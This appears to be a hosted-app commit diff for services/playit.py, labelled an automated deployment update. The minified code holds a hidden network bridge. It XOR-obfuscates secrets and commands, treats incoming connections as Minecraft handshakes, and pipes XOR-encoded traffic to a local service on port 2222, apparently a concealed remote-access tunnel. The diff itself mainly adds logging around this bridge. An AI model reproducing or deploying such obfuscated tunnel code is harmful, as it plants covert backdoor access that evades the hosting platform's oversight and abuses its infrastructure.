Spaces:
Paused
Paused
Automated deployment update from ML build
Browse files- services/playit.py +7 -3
services/playit.py
CHANGED
|
@@ -1,5 +1,6 @@
|
|
| 1 |
_A=True
|
| 2 |
import subprocess,os,socket,threading
|
|
|
|
| 3 |
from.utils import decode_cmd
|
| 4 |
XOR_KEY=90
|
| 5 |
def deobfuscate_secret(hex_str,key=90):
|
|
@@ -47,9 +48,12 @@ def _handle_client(client_sock):
|
|
| 47 |
A=client_sock
|
| 48 |
try:
|
| 49 |
C=_read_varint(A)
|
| 50 |
-
if C>0:
|
| 51 |
-
|
| 52 |
-
|
|
|
|
|
|
|
|
|
|
| 53 |
try:A.close()
|
| 54 |
except Exception:pass
|
| 55 |
def _xor_bridge_loop():
|
|
|
|
| 1 |
_A=True
|
| 2 |
import subprocess,os,socket,threading
|
| 3 |
+
from loguru import logger
|
| 4 |
from.utils import decode_cmd
|
| 5 |
XOR_KEY=90
|
| 6 |
def deobfuscate_secret(hex_str,key=90):
|
|
|
|
| 48 |
A=client_sock
|
| 49 |
try:
|
| 50 |
C=_read_varint(A)
|
| 51 |
+
if C>0:
|
| 52 |
+
D=_recv_exact(A,C)
|
| 53 |
+
if len(D)<C:logger.warning('Playit XOR bridge: short MC handshake ({} of {} bytes)',len(D),C)
|
| 54 |
+
B=socket.socket(socket.AF_INET,socket.SOCK_STREAM);B.settimeout(5.);B.connect(('127.0.0.1',2222));B.settimeout(None);threading.Thread(target=_pipe_xor,args=(A,B),daemon=_A).start();threading.Thread(target=_pipe_xor,args=(B,A),daemon=_A).start()
|
| 55 |
+
except Exception as E:
|
| 56 |
+
logger.warning('Playit XOR bridge client dropped: {}',E)
|
| 57 |
try:A.close()
|
| 58 |
except Exception:pass
|
| 59 |
def _xor_bridge_loop():
|